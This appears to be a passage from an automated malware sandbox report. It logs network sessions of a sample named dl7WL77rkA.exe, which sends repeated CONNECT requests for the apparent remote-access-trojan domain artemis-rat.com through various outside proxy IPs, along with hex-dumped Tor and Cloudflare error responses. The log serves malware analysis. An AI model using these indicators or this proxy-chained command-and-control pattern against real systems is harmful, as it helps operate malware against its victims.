Mar 11, 2024 03:31:06.545281887 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>
Mar 11, 2024 03:31:08.407903910 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>
Mar 11, 2024 03:31:12.241776943 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>
Mar 11, 2024 03:31:19.665225029 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>
Mar 11, 2024 03:31:34.513364077 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>
Mar 11, 2024 03:32:04.209476948 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.5	52440	202.74.48.66	1088	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.461038113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.5	52604	185.162.229.215	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.461218119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.615920067 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.5	52632	172.67.242.194	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.504750013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.659790993 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.5	52642	104.21.218.103	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.516730070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.676661968 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.5	52637	104.25.135.170	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.518582106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.676651001 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.5	52588	38.162.16.52	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.526858091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.946166992 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

